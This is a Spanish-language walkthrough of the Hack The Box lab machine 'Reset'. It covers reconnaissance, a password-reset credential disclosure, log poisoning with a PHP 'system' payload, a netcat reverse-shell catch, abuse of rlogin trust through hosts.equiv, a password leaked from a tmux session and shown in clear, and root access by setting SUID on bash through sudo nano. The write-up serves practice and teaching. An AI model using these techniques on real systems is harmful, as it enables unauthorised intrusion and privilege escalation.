Post

Reset - HTB

Reset - HTB

Enumeration

Vamos a empezar con un escaneo nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[May 03, 2026 - 17:34:21 (CEST)] exegol-htb Reset # nmap -p- --open -sS -n -Pn -vvv 10.129.31.34
Starting Nmap 7.93 ( https://nmap.org ) at 2026-05-03 17:34 CEST
Initiating SYN Stealth Scan at 17:34
Scanning 10.129.31.34 [65535 ports]
Discovered open port 22/tcp on 10.129.31.34
Discovered open port 80/tcp on 10.129.31.34
Discovered open port 512/tcp on 10.129.31.34
Discovered open port 514/tcp on 10.129.31.34
Discovered open port 513/tcp on 10.129.31.34
Completed SYN Stealth Scan at 17:34, 18.58s elapsed (65535 total ports)
Nmap scan report for 10.129.31.34
Host is up, received user-set (0.044s latency).
Scanned at 2026-05-03 17:34:21 CEST for 19s
Not shown: 65520 closed tcp ports (reset), 10 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 63
80/tcp  open  http    syn-ack ttl 63
512/tcp open  exec    syn-ack ttl 63
513/tcp open  login   syn-ack ttl 63
514/tcp open  shell   syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 18.62 seconds
           Raw packets sent: 66913 (2.944MB) | Rcvd: 65611 (2.624MB)

Vamos a hacer un segundo escaneo para obtener las versiones de los servicios y lanzar scripts básicos de reconocimiento:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[May 03, 2026 - 17:35:39 (CEST)] exegol-htb Reset # nmap -p22,80,512,513,514 -sCV 10.129.31.34
Starting Nmap 7.93 ( https://nmap.org ) at 2026-05-03 17:35 CEST
Nmap scan report for 10.129.31.34
Host is up (0.044s latency).

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 6a161fc8fefde398a685cffe7b0e60aa (ECDSA)
|_  256 e408cc5f8e56258f38c3ecdfb8860c69 (ED25519)
80/tcp  open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: Admin Login
512/tcp open  exec    netkit-rsh rexecd
513/tcp open  login?
514/tcp open  shell   Netkit rshd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.67 seconds

Website - TCP 80

Vemos un login de un panel de administración. Vamos a probar credenciales predeterminadas como:

  • admin:admin
  • administrator:admin123
  • root:root

Ninguna funciona. Vamos a ver la función de Forgot Password?:

Vamos a probar cualquier usuario al azar:

Vemos que devuelve User not found. Aquí tenemos una posibilidad de User Enumeration. Si vemos en el HTTP History vemos que se procesa de la siguiente manera:

Vamos a enviar esta solicitud al Repeater:

Vamos a probar a poner el usuario admin:

Tremendo fallo… un fallo de autenticación y un information disclosure. La aplicación no quiere verificar si realmente el que se está indicando dice quien dice ser. Vamos a probar estas credenciales:

Shell as www-data

Vemos que podemos ver los logs, si le damos a View Logs veremos los siguiente:

Vemos que no muestra contenido. Si vemos como se tramita por atrás vemos lo siguiente:

Vemos que se indica la ruta absoluta del archivo syslog, vamos a intentar un LFI:

Vemos que hay algún filtro. Podemos probar añadiendo la ruta /var/log/ e intentar un Path Traversal:

1
/var/log/../../etc/passwd

No vemos que se pueda.

Log Poisoning

El servicio que emplea para http usa Apache2, vamos a intentar leer el access.log:

1
/var/log/apache2/access.log

En este caso access.log almacena el User-Agent de los usuarios, en este caso la aplicación interpreta PHP, así que vamos a probar lo siguiente:

1
<?php system('id'); ?>

Ahora vamos a enviarnos una reverse shell:

1
2
3
4
[May 03, 2026 - 18:03:54 (CEST)] exegol-htb Reset # nc -nlvp 9002
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9002
Ncat: Listening on 0.0.0.0:9002

1
2
3
4
5
6
7
8
9
[May 03, 2026 - 18:03:54 (CEST)] exegol-htb Reset # nc -nlvp 9002
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9002
Ncat: Listening on 0.0.0.0:9002
Ncat: Connection from 10.129.31.34.
Ncat: Connection from 10.129.31.34:38534.
bash: cannot set terminal process group (1211): Inappropriate ioctl for device
bash: no job control in this shell
www-data@reset:/var/www/html$

Shell as sadm

Si leemos el /etc/passwd podremos ver los siguientes usuarios:

1
2
3
4
5
6
www-data@reset:/var/www/html$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
local:x:1000:1000:local:/home/local:/bin/bash
sadm:x:1001:1001:,,,:/home/sadm:/bin/bash

Vemos los usuarios local y sadm. Si recordamos antes vimos que estaban abiertos los puertos 412,413,414.

Estos puertos son de un conjunto de herramientas de red que nos ayuda a:

  • ejecutar comandos
  • iniciar sesión
  • copiar archivos

En máquinas remotas sin necesidad de credenciales.

Esto es interesante ya que si averiguamos que usuario puede iniciar con este servicio podríamos acceder a el sin contraseña.

/home/

1
2
3
4
5
6
www-data@reset:/home$ ls -la
total 16
drwxr-xr-x  4 root  root  4096 Jun  2  2025 .
drwxr-xr-x 19 root  root  4096 Jun  4  2025 ..
drwxr-x---  5 local local 4096 Jun  2  2025 local
drwxr-xr-x  4 sadm  sadm  4096 Jun  4  2025 sadm

/home/sadm/

Vemos que solo podemos acceder al directorio de sadm, vamos a acceder y ver que archivos tiene:

1
2
3
4
5
6
7
8
9
10
11
12
www-data@reset:/home/sadm$ ls -la
total 36
drwxr-xr-x 4 sadm sadm 4096 Jun  4  2025 .
drwxr-xr-x 4 root root 4096 Jun  2  2025 ..
lrwxrwxrwx 1 sadm sadm    9 Dec  6  2024 .bash_history -> /dev/null
-rw-r--r-- 1 sadm sadm  220 Dec  6  2024 .bash_logout
-rw-r--r-- 1 sadm sadm 3771 Dec  6  2024 .bashrc
drwx------ 2 sadm sadm 4096 Jun  2  2025 .cache
drwxrwxr-x 3 sadm sadm 4096 Jun  2  2025 .local
-rw-r--r-- 1 sadm sadm  807 Dec  6  2024 .profile
-rw------- 1 sadm sadm    7 Dec  6  2024 .rhosts
-rw-r--r-- 1 root root   33 Apr 10  2025 user.txt

Vemos el archivo .rhosts donde contiene que usuario puede autenticarse sin necesidad de contraseña. Pero no tenemos los permisos necesarios.

Algo que podríamos intentar leer es el archivo hosts.equiv que sirve para autorizar quien puede iniciar sesión con el nombre de usuario:

1
2
3
4
5
6
www-data@reset:/home/sadm$ cat /etc/hosts.equiv
# /etc/hosts.equiv: list  of  hosts  and  users  that are granted "trusted" r
#                   command access to your system .
- root
- local
+ sadm

En este caso vemos que el único usuario que puede iniciar sesión es sadm. En este caso como el servicio esta expuesto a nivel de red, nosotros en nuestra máquina podemos crear un usuario llamado sadm y conectarnos. Ya que solo verificará el usuario si es el correcto. Así que vamos a probarlo:

Vamos a crear el usuario:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[May 03, 2026 - 18:29:20 (CEST)] exegol-random /workspace # adduser sadm
Adding user `sadm' ...
Adding new group `sadm' (1002) ...
Adding new user `sadm' (1002) with group `sadm (1002)' ...
adduser: The home directory `/home/sadm' already exists.  Not touching this directory.
New password: 
Retype new password: 
passwd: password updated successfully
Changing the user information for sadm
Enter the new value, or press ENTER for the default
	Full Name []: 
	Room Number []: 
	Work Phone []: 
	Home Phone []: 
	Other []: 
Is the information correct? [Y/n] 
Adding new user `sadm' to supplemental / extra groups `users' ...
Adding user `sadm' to group `users' ...

Ahora iniciaremos como el e intentaremos conectarnos con rslogin:

Si no tenéis el paquete podéis obtenerlo de la siguiente manera: apt install rsh-redone-client

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
sadm@exegol-random:~$ rlogin 10.129.31.34
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-140-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun May  3 04:30:18 PM UTC 2026

  System load:           0.03
  Usage of /:            65.1% of 5.22GB
  Memory usage:          13%
  Swap usage:            0%
  Processes:             231
  Users logged in:       1
  IPv4 address for eth0: 10.129.31.34
  IPv6 address for eth0: dead:beef::a0de:adff:feeb:1040


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Jul  9 13:32:23 UTC 2025 from 10.10.14.77 on pts/0
sadm@reset:~$ 

Shell as root

sadm credential leak in tmux session

Si vemos los procesos que corren del usuario sadm podremos ver el siguiente:

1
2
3
4
5
6
7
8
sadm@reset:~$ ps x -U sadm
    PID TTY      STAT   TIME COMMAND
   1227 ?        Ss     0:00 tmux new-session -d -s sadm_session
   1233 pts/3    Ss+    0:00 -bash
   2241 ?        Ss     0:00 /lib/systemd/systemd --user
   2242 ?        S      0:00 (sd-pam)
   2249 pts/1    S      0:00 -bash
   2299 pts/1    R+     0:00 ps x -U sadm

Vemos que tiene una sesión de tmux creada. Vamos acceder a ella y ver sus ventanas:

Obtenemos las credenciales del usuario. Podemos comprobarlas:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
[May 03, 2026 - 18:34:56 (CEST)] exegol-random /workspace # sshpass -p "7lE2PAfVHfjz4HpE" ssh sadm@10.129.31.34
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-140-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun May  3 04:34:57 PM UTC 2026

  System load:           0.08
  Usage of /:            65.1% of 5.22GB
  Memory usage:          14%
  Swap usage:            0%
  Processes:             235
  Users logged in:       1
  IPv4 address for eth0: 10.129.31.34
  IPv6 address for eth0: dead:beef::a0de:adff:feeb:1040


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun May  3 16:30:19 2026 from 10.10.15.56
sadm@reset:~$

Si enumeramos los permisos SUDOER del usuario sadm podremos ver lo siguiente:

Abusing SUDO

1
2
3
4
5
6
7
8
sadm@reset:~$ sudo -l
Matching Defaults entries for sadm on reset:
    env_reset, timestamp_timeout=-1, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, !syslog

User sadm may run the following commands on reset:
    (ALL) PASSWD: /usr/bin/nano /etc/firewall.sh
    (ALL) PASSWD: /usr/bin/tail /var/log/syslog
    (ALL) PASSWD: /usr/bin/tail /var/log/auth.log

Vemos que podemos usar nano apuntando al archivo firewall.sh, esto es sencillo ya que ejecutamos nano como root y con la combinación CTRL+T podremos ejecutar un comando:

En mi caso la daré SUID a la bash:

Ahora si vemos los permisos de /bin/bash:

1
2
3
4
5
sadm@reset:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash
sadm@reset:~$ bash -p
bash-5.1# whoami
root

This post is licensed under CC BY 4.0 by the author.